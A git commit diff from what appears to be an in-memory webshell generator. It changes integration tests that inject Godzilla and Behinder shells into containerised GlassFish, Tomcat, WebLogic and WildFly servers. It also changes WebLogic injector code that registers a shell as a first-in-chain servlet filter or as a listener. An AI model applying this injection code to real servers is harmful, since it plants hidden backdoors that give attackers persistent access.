fix

Author: ReaJason

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

@@ -98,7 +98,6 @@ public static void packerResultAndInject(GenerateResult generateResult, String u
             Files.write(tempJar, bytes);
             String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
             appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
-//            Files.copy(tempJar, Paths.get("target.jar"));
             FileUtils.deleteQuietly(tempJar.toFile());
             String pidInContainer = appContainer.execInContainer("bash", "/fetch_pid.sh").getStdout();
             assertDoesNotThrow(() -> Long.parseLong(pidInContainer));

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java

@@ -18,14 +18,15 @@
 import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
-import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
 
 import java.time.Duration;
 import java.util.List;
 import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
 import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
  * @author ReaJason
@@ -63,18 +64,14 @@ static Stream<Arguments> casesProvider() {
                 ShellType.CATALINA_AGENT_CONTEXT_VALVE
         );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
-        List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
-                Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),  // ClassFormatError
-                Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) // ClassFormatError
-        );
-        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
+        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
 
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
         log.info(logs);
-//        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
+        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java

@@ -63,6 +63,7 @@ static Stream<Arguments> casesProvider() {
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
+        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java

@@ -66,6 +66,7 @@ static Stream<Arguments> casesProvider() {
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
+        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java

@@ -55,11 +55,7 @@ static Stream<Arguments> casesProvider() {
                 ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
         );
         List<Packers> testPackers = List.of(Packers.Base64);
-        List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
-                Triple.of(ShellType.SERVLET, ShellTool.Behinder, Packers.Base64),  // java.net.SocketTimeoutException
-                Triple.of(ShellType.FILTER, ShellTool.Behinder, Packers.Base64) // java.net.SocketTimeoutException
-        );
-        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
+        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
 
     @AfterAll

integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java

@@ -62,6 +62,7 @@ static Stream<Arguments> casesProvider() {
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
+        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java

@@ -64,6 +64,7 @@ static Stream<Arguments> casesProvider() {
     @AfterAll
     static void tearDown() {
         String logs = container.getLogs();
+        log.info(logs);
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 

memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

@@ -116,6 +116,11 @@ public static Object[] getContextsByThreads() throws Throwable {
         return webappContexts.toArray();
     }
 
+    /**
+     * weblogic.servlet.internal.WebAppServletContext
+     * /opt/oracle/wls1036/server/lib/weblogic.jar
+     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
+     */
     public static Object[] getContext() {
         Set<Object> webappContexts = new HashSet<Object>();
         try {
@@ -129,12 +134,17 @@ public static Object[] getContext() {
         return webappContexts.toArray();
     }
 
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "classLoader"));
+        }
+    }
+
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
+        ClassLoader classLoader = getWebAppClassLoader(context);
         try {
             return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
@@ -149,6 +159,7 @@ private Object getShell(Object context) throws Exception {
     @SuppressWarnings("unchecked")
     public void inject(Object context, Object filter) throws Exception {
         if (isInjected(context)) {
+            System.out.println("filter already injected");
             return;
         }
         Object filterManager = invokeMethod(context, "getFilterManager", null, null);
@@ -159,6 +170,7 @@ public void inject(Object context, Object filter) throws Exception {
         List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
         Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
         filterPatternList.add(0, currentMapping);
+        System.out.println("filter inject successful");
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -128,9 +128,17 @@ public static Object[] getContext() {
         return webappContexts.toArray();
     }
 
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "classLoader"));
+        }
+    }
+
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
-        ClassLoader classLoader = context.getClass().getClassLoader();
+        ClassLoader classLoader = getWebAppClassLoader(context);
         try {
             return classLoader.loadClass(getClassName()).newInstance();
         } catch (Exception e) {
@@ -144,10 +152,12 @@ private Object getShell(Object context) throws Exception {
 
     public void inject(Object context, Object listener) throws Exception {
         if (isInjected(context)) {
+            System.out.println("listener already injected");
             return;
         }
         Object eventsManager = getFieldValue(context, "eventsManager");
         invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()});
+        System.out.println("listener inject successful");
     }
 
     @SuppressWarnings("unchecked")